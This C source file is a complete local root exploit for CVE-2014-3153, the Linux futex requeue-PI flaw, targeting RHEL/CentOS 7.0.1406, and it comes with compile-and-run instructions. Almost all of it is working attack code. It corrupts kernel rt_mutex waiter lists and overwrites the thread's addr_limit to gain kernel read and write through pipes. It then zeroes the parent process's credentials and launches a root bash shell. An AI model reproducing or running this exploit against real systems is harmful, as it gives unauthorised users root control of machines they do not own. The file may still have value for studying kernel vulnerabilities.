/*
 * CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406
 * By Kaiqu Chen ( kaiquchen@163.com )
 * Based on libfutex and the expoilt for Android by GeoHot.
 *
 * Usage:
 * $gcc exploit.c -o exploit -lpthread
 * $./exploit
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <pthread.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <linux/futex.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <netinet/in.h> 
#include <netinet/tcp.h> 

#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))

#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12
#define USER_PRIO_BASE          120
#define LOCAL_PORT              5551

#define SIGNAL_HACK_KERNEL      12
#define SIGNAL_THREAD_EXIT      10

#define OFFSET_PID   0x4A4
#define OFFSET_REAL_PARENT 0x4B8
#define OFFSET_CRED   0x668

#define SIZEOF_CRED   160
#define SIZEOF_TASK_STRUCT 2912
#define OFFSET_ADDR_LIMIT 0x20

#define PRIO_LIST_OFFSET 8 
#define NODE_LIST_OFFSET (PRIO_LIST_OFFSET + sizeof(struct list_head))
#define PRIO_LIST_TO_WAITER(list) (((void *)(list)) - PRIO_LIST_OFFSET)
#define WAITER_TO_PRIO_LIST(waiter) (((void *)(waiter)) + PRIO_LIST_OFFSET)
#define NODE_LIST_TO_WAITER(list) (((void *)(list)) - NODE_LIST_OFFSET)
#define WAITER_TO_NODE_LIST(waiter) (((void *)(waiter)) + NODE_LIST_OFFSET)
#define MUTEX_TO_PRIO_LIST(mutex) (((void *)(mutex)) + sizeof(long))
#define MUTEX_TO_NODE_LIST(mutex) (((void *)(mutex)) + sizeof(long) + sizeof(struct list_head))

////////////////////////////////////////////////////////////////////
struct task_struct;

struct thread_info {
  struct task_struct *task;
  void *exec_domain;
  int flags;
  int status;
  int cpu;
  int preempt_count;
  void *addr_limit;
};

struct list_head {
  struct list_head *next;
  struct list_head *prev;
};

struct plist_head {
 struct list_head node_list;
};

struct plist_node {
  int                     prio;
  struct list_head        prio_list;
  struct list_head        node_list;
};

struct rt_mutex {
 unsigned long  wait_lock;
 struct plist_head wait_list;
 struct task_struct *owner;
};

struct rt_mutex_waiter {
  struct plist_node       list_entry;
  struct plist_node       pi_list_entry;
  struct task_struct      *task;
  struct rt_mutex         *lock;
};

struct mmsghdr {
  struct msghdr msg_hdr;
  unsigned int  msg_len;
};

struct cred {
 int usage;
 int uid;  /* real UID of the task */
 int gid;  /* real GID of the task */
 int suid;  /* saved UID of the task */
 int sgid;  /* saved GID of the task */
 int euid;  /* effective UID of the task */
 int egid;  /* effective GID of the task */
 int fsuid;  /* UID for VFS ops */
 int fsgid;  /* GID for VFS ops */
};

////////////////////////////////////////////////////////////////////

static int swag = 0;
static int swag2 = 0;
static int main_pid;

static pid_t waiter_thread_tid;

static pthread_mutex_t hacked_lock;
static pthread_cond_t hacked;

static pthread_mutex_t done_lock;
static pthread_cond_t done;

static pthread_mutex_t is_thread_desched_lock;
static pthread_cond_t is_thread_desched;

static volatile int do_socket_tid_read = 0;
static volatile int did_socket_tid_read = 0;

static volatile int do_dm_tid_read = 0;
static volatile int did_dm_tid_read = 0;

static pid_t last_tid = 0;

static volatile int_sync_time_out = 0;

struct thread_info thinfo;
char task_struct_buf[SIZEOF_TASK_STRUCT];
struct cred cred_buf;

struct thread_info *hack_thread_stack = NULL;

pthread_t thread_client_to_setup_rt_waiter;

int listenfd;
int sockfd;
int clientfd;

////////////////////////////////////////////////////////////////
int gettid()
{
 return syscall(__NR_gettid);
}

ssize_t read_pipe(void *kbuf, void *ubuf, size_t count) {
 int pipefd[2];
 ssize_t len;

 pipe(pipefd);

 len = write(pipefd[1], kbuf, count);

 if (len != count) {
  printf("Thread %d failed in reading @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
  while(1) { sleep(10); }
 }

 read(pipefd[0], ubuf, count);

 close(pipefd[0]);
 close(pipefd[1]);

 return len;
}

ssize_t write_pipe(void *kbuf, void *ubuf, size_t count) {
 int pipefd[2];
 ssize_t len;

 pipe(pipefd);

 write(pipefd[1], ubuf, count);
 len = read(pipefd[0], kbuf, count);

 if (len != count) {
  printf("Thread %d failed in writing @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
  while(1) { sleep(10); }
 }

 close(pipefd[0]);
 close(pipefd[1]);

 return len;
}

int pthread_cancel_immediately(pthread_t thid)
{
 pthread_kill(thid, SIGNAL_THREAD_EXIT);
 pthread_join(thid, NULL);
 return 0;
}

void set_addr_limit(void *sp)
{
 long newlimit = -1;
 write_pipe(sp + OFFSET_ADDR_LIMIT, (void *)&newlimit, sizeof(long));
}

void set_cred(struct cred *kcred)
{
 struct cred cred_buf;
 int len;

 len = read_pipe(kcred, &cred_buf, sizeof(cred_buf));
 cred_buf.uid = cred_buf.euid = cred_buf.suid = cred_buf.fsuid = 0;
 cred_buf.gid = cred_buf.egid = cred_buf.sgid = cred_buf.fsgid = 0;
 len = write_pipe(kcred, &cred_buf, sizeof(cred_buf));
}

struct rt_mutex_waiter *pwaiter11;

void set_parent_cred(void *sp, int parent_tid)
{
 int len;
 int tid;
 struct task_struct *pparent;
 struct cred *pcred;
 
 set_addr_limit(sp);
 
 len = read_pipe(sp, &thinfo, sizeof(thinfo));
 if(len != sizeof(thinfo)) {
  printf("Read %p error %d\n", sp, len);
 }
 
 void *ptask = thinfo.task;
 len = read_pipe(ptask, task_struct_buf, SIZEOF_TASK_STRUCT);
 tid = *(int *)(task_struct_buf + OFFSET_PID);

 while(tid != 0 && tid != parent_tid) {
  pparent = *(struct task_struct **)(task_struct_buf + OFFSET_REAL_PARENT);
  len = read_pipe(pparent, task_struct_buf, SIZEOF_TASK_STRUCT);
  tid = *(int *)(task_struct_buf + OFFSET_PID);
 }

 if(tid == parent_tid) {
  pcred = *(struct cred **)(task_struct_buf + OFFSET_CRED);
  set_cred(pcred);
 } else
  printf("Pid %d not found\n", parent_tid);
 return;
}

static int read_voluntary_ctxt_switches(pid_t pid)
{
 char filename[256];
 FILE *fp;
 int vcscnt = -1;

 sprintf(filename, "/proc/self/task/%d/status", pid);
 fp = fopen(filename, "rb");
 if (fp) {
  char filebuf[4096];
  char *pdest;
  fread(filebuf, 1, sizeof filebuf, fp);
  pdest = strstr(filebuf, "voluntary_ctxt_switches");
  vcscnt = atoi(pdest + 0x19);
  fclose(fp);
 }
 return vcscnt;
}

static void sync_timeout_task(int sig)
{
 int_sync_time_out = 1;
}

static int sync_with_child_getchar(pid_t pid, int volatile *do_request, int volatile *did_request)
{
 while (*do_request == 0) { }
 printf("Press RETURN after one second...");
 *did_request = 1;
 getchar();
 return 0;
}

static int sync_with_child(pid_t pid, int volatile *do_request, int volatile *did_request)
{
 struct sigaction act;
 int vcscnt;
 int_sync_time_out = 0;

 act.sa_handler = sync_timeout_task;
 sigemptyset(&act.sa_mask);
 act.sa_flags = 0;
 act.sa_restorer = NULL;
 sigaction(SIGALRM, &act, NULL);

 alarm(3);
 while (*do_request == 0) {
  if (int_sync_time_out)
   return -1;
 }
 
 alarm(0);
 vcscnt = read_voluntary_ctxt_switches(pid);
 *did_request = 1;
 while (read_voluntary_ctxt_switches(pid) != vcscnt + 1) {
     usleep(10);
 }

 return 0;
}

static void sync_with_parent(int volatile *do_request, int volatile *did_request)
{
 *do_request = 1;
 while (*did_request == 0) { }
}

void fix_rt_mutex_waiter_list(struct rt_mutex *pmutex)
{
 struct rt_mutex_waiter *pwaiter6, *pwaiter7;
 struct rt_mutex_waiter waiter6, waiter7;
 struct rt_mutex mutex;
 if(!pmutex)
  return;
 read_pipe(pmutex, &mutex, sizeof(mutex));
 pwaiter6 = NODE_LIST_TO_WAITER(mutex.wait_list.node_list.next);
 if(!pwaiter6)
  return;
 read_pipe(pwaiter6, &waiter6, sizeof(waiter6));
 pwaiter7 = NODE_LIST_TO_WAITER(waiter6.list_entry.node_list.next);
 if(!pwaiter7)
  return;
 read_pipe(pwaiter7, &waiter7, sizeof(waiter7));
 
 waiter6.list_entry.prio_list.prev = waiter6.list_entry.prio_list.next;
 waiter7.list_entry.prio_list.next = waiter7.list_entry.prio_list.prev;
 mutex.wait_list.node_list.prev = waiter6.list_entry.node_list.next;
 waiter7.list_entry.node_list.next =  waiter6.list_entry.node_list.prev;
 
 write_pipe(pmutex, &mutex, sizeof(mutex));
 write_pipe(pwaiter6, &waiter6, sizeof(waiter6));
 write_pipe(pwaiter7, &waiter7, sizeof(waiter7));
}

static void void_handler(int signum)
{
 pthread_exit(0);
}

static void kernel_hack_task(int signum)
{
 struct rt_mutex *prt_mutex, rt_mutex;
 struct rt_mutex_waiter rt_waiter11;
 int tid = syscall(__NR_gettid);
 int pid = getpid();

 set_parent_cred(hack_thread_stack, main_pid);
 
 read_pipe(pwaiter11, (void *)&rt_waiter11, sizeof(rt_waiter11));
 
 prt_mutex = rt_waiter11.lock;
 read_pipe(prt_mutex, (void *)&rt_mutex, sizeof(rt_mutex));
 
 void *ptask_struct = rt_mutex.owner;
 ptask_struct = (void *)((long)ptask_struct & ~ 0xF);
 int len = read_pipe(ptask_struct, task_struct_buf, SIZEOF_TASK_STRUCT);
 int *ppid = (int *)(task_struct_buf + OFFSET_PID);
 void **pstack = (void **)&task_struct_buf[8];
 void *owner_sp = *pstack;
 set_addr_limit(owner_sp);

 pthread_mutex_lock(&hacked_lock);
 pthread_cond_signal(&hacked);
 pthread_mutex_unlock(&hacked_lock);
}

static void *call_futex_lock_pi_with_priority(void *arg)
{
 int prio;
 struct sigaction act;
 int ret;
 
 prio = (long)arg;
 last_tid = syscall(__NR_gettid);
 
 pthread_mutex_lock(&is_thread_desched_lock);
 pthread_cond_signal(&is_thread_desched);
 
 act.sa_handler = void_handler;
 sigemptyset(&act.sa_mask);
 act.sa_flags = 0;
 act.sa_restorer = NULL;
 sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
 
 act.sa_handler = kernel_hack_task;
 sigemptyset(&act.sa_mask);
 act.sa_flags = 0;
 act.sa_restorer = NULL;
 sigaction(SIGNAL_HACK_KERNEL, &act, NULL);
 
 setpriority(PRIO_PROCESS, 0, prio);
 
 pthread_mutex_unlock(&is_thread_desched_lock);
 
 sync_with_parent(&do_dm_tid_read, &did_dm_tid_read);
 
 ret = syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
 
 return NULL;
}

static pthread_t create_thread_do_futex_lock_pi_with_priority(int prio)
{
 pthread_t th4;
 pid_t pid;
 
 do_dm_tid_read = 0;
 did_dm_tid_read = 0;
 
 pthread_mutex_lock(&is_thread_desched_lock);
 pthread_create(&th4, 0, call_futex_lock_pi_with_priority, (void *)(long)prio);
 pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
 
 pid = last_tid;
 
 sync_with_child(pid, &do_dm_tid_read, &did_dm_tid_read);
 
 pthread_mutex_unlock(&is_thread_desched_lock);
 
 return th4;
}

static int server_for_setup_rt_waiter(void)
{
 int sockfd;
 int yes = 1;
 struct sockaddr_in addr = {0};
 
 sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
 
 setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
 
 addr.sin_family = AF_INET;
 addr.sin_port = htons(LOCAL_PORT);
 addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
 bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
 
 listen(sockfd, 1);
 listenfd = sockfd;
 
 return accept(sockfd, NULL, NULL);
}

static int connect_server_socket(void)
{
 int sockfd;
 struct sockaddr_in addr = {0};
 int ret;
 int sock_buf_size;
 
 sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
 if (sockfd < 0) {
  printf("socket failed\n");
  usleep(10);
 } else {
  addr.sin_family = AF_INET;
  addr.sin_port = htons(LOCAL_PORT);
  addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
 }
 
 while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
  usleep(10);
 }
 
 sock_buf_size = 1;
 setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
 
 return sockfd;
}

unsigned long iov_base0, iov_basex;
size_t iov_len0, iov_lenx;

static void *client_to_setup_rt_waiter(void *waiter_plist)
{
 int sockfd;
 struct mmsghdr msgvec[1];
 struct iovec msg_iov[8];
 unsigned long databuf[0x20];
 int i;
 int ret;
 struct sigaction act;
 
 act.sa_handler = void_handler;
 sigemptyset(&act.sa_mask);
 act.sa_flags = 0;
 act.sa_restorer = NULL;
 sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
 
 waiter_thread_tid = syscall(__NR_gettid);
 setpriority(PRIO_PROCESS, 0, 12);
 
 sockfd = connect_server_socket();
 clientfd = sockfd;
 
 for (i = 0; i < ARRAY_SIZE(databuf); i++) {
 databuf[i] = (unsigned long)waiter_plist;
 }
 
 for (i = 0; i < ARRAY_SIZE(msg_iov); i++) {
 msg_iov[i].iov_base = waiter_plist;
 msg_iov[i].iov_len = (long)waiter_plist;
 }
 msg_iov[1].iov_base = (void *)iov_base0;
 
 msgvec[0].msg_hdr.msg_name = databuf;
 msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
 msgvec[0].msg_hdr.msg_iov = msg_iov;
 msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
 msgvec[0].msg_hdr.msg_control = databuf;
 msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
 msgvec[0].msg_hdr.msg_flags = 0;
 msgvec[0].msg_len = 0;
 
 syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0);
 
 sync_with_parent(&do_socket_tid_read, &did_socket_tid_read);
 
 ret = 0;
 
 while (1) {
 ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
 if (ret <= 0) {
  break;
 } else
  printf("sendmmsg ret %d\n", ret);
 }
 return NULL;
}

static void plist_set_next(struct list_head *node, struct list_head *head)
{
 node->next = head;
 head->prev = node;
 node->prev = head;
 head->next = node;
}

static void setup_waiter_params(struct rt_mutex_waiter *rt_waiters)
{
 rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
 rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;
 plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
 plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
}

static bool do_exploit(void *waiter_plist)
{
 void *magicval, *magicval2;
 struct rt_mutex_waiter *rt_waiters;
 pid_t pid;
 pid_t pid6, pid7, pid12, pid11;
 
 rt_waiters = PRIO_LIST_TO_WAITER(waiter_plist);
 
 syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
 
 while (syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag) != 1) {
  usleep(10);
 }
 
 pthread_t th6 =  create_thread_do_futex_lock_pi_with_priority(6);
 pthread_t th7 =  create_thread_do_futex_lock_pi_with_priority(7);
 
 swag2 = 0;
 do_socket_tid_read = 0;
 did_socket_tid_read = 0;
 
 syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag2);
 
 if (sync_with_child_getchar(waiter_thread_tid, &do_socket_tid_read, &did_socket_tid_read) < 0) {
 return false;
 }
 
 setup_waiter_params(rt_waiters);
 magicval = rt_waiters[0].list_entry.prio_list.next;
 printf("Checking whether exploitable..");
 pthread_t th11 =  create_thread_do_futex_lock_pi_with_priority(11);
 
 if (rt_waiters[0].list_entry.prio_list.next == magicval) {
  printf("failed\n");
  return false;
 }
 printf("OK\nSeaching good magic...\n");
 magicval = rt_waiters[0].list_entry.prio_list.next;
 
 pthread_cancel_immediately(th11);
 
 pthread_t th11_1, th11_2;
 while(1) {
  setup_waiter_params(rt_waiters);
  th11_1 = create_thread_do_futex_lock_pi_with_priority(11);
  magicval = rt_waiters[0].list_entry.prio_list.next;
  hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffffffffffe000);
  rt_waiters[1].list_entry.node_list.prev = (void *)&hack_thread_stack->addr_limit;
  
  th11_2 = create_thread_do_futex_lock_pi_with_priority(11);
  magicval2 = rt_waiters[1].list_entry.node_list.prev;
  
  printf("magic1=%p magic2=%p\n", magicval, magicval2);
  if(magicval < magicval2) {
   printf("Good magic found\nHacking...\n");
   break;
  } else {
   pthread_cancel_immediately(th11_1);
   pthread_cancel_immediately(th11_2);
  }  
 }
 pwaiter11 = NODE_LIST_TO_WAITER(magicval2);
 pthread_mutex_lock(&hacked_lock);
 pthread_kill(th11_1, SIGNAL_HACK_KERNEL);
 pthread_cond_wait(&hacked, &hacked_lock);
 pthread_mutex_unlock(&hacked_lock);
 close(listenfd);
 
 struct rt_mutex_waiter waiter11;
 struct rt_mutex *pmutex;
 int len = read_pipe(pwaiter11, &waiter11, sizeof(waiter11));
 if(len != sizeof(waiter11)) {
  pmutex = NULL;
 } else {
  pmutex = waiter11.lock;
 }
 fix_rt_mutex_waiter_list(pmutex);
 
 pthread_cancel_immediately(th11_1);
 pthread_cancel_immediately(th11_2);
 
 pthread_cancel_immediately(th7);
 pthread_cancel_immediately(th6);
 close(clientfd);
 pthread_cancel_immediately(thread_client_to_setup_rt_waiter);
 
 exit(0);
}

#define MMAP_ADDR_BASE 0x0c000000
#define MMAP_LEN  0x0c001000

int main(int argc, char *argv[])
{
 unsigned long mapped_address;
 void *waiter_plist;
 
 printf("CVE-2014-3153 exploit by Chen Kaiqu(kaiquchen@163.com)\n");
 
 main_pid = gettid();
 if(fork() == 0) {
  iov_base0 = (unsigned long)mmap((void *)0xb0000000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, /*MAP_POPULATE |*/ MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  if (iov_base0 < 0xb0000000) {
   printf("mmap failed?\n");
   return 1;
  }
  iov_len0 = 0x10000;
  
  iov_basex = (unsigned long)mmap((void *)MMAP_ADDR_BASE, MMAP_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  if (iov_basex < MMAP_ADDR_BASE) {
   printf("mmap failed?\n");
   return 1;
  }
  iov_lenx = MMAP_LEN;
  
  waiter_plist = (void *)iov_basex + 0x400;
  pthread_create(&thread_client_to_setup_rt_waiter, NULL, client_to_setup_rt_waiter, waiter_plist);
  
  sockfd = server_for_setup_rt_waiter();
  if (sockfd < 0) {
   printf("Server failed\n");
   return 1;
  }
  
  if (!do_exploit(waiter_plist)) {
   return 1;
  }
  return 0;
 }

 while(getuid())
  usleep(100);
 execl("/bin/bash", "bin/bash", NULL);
 return 0;
}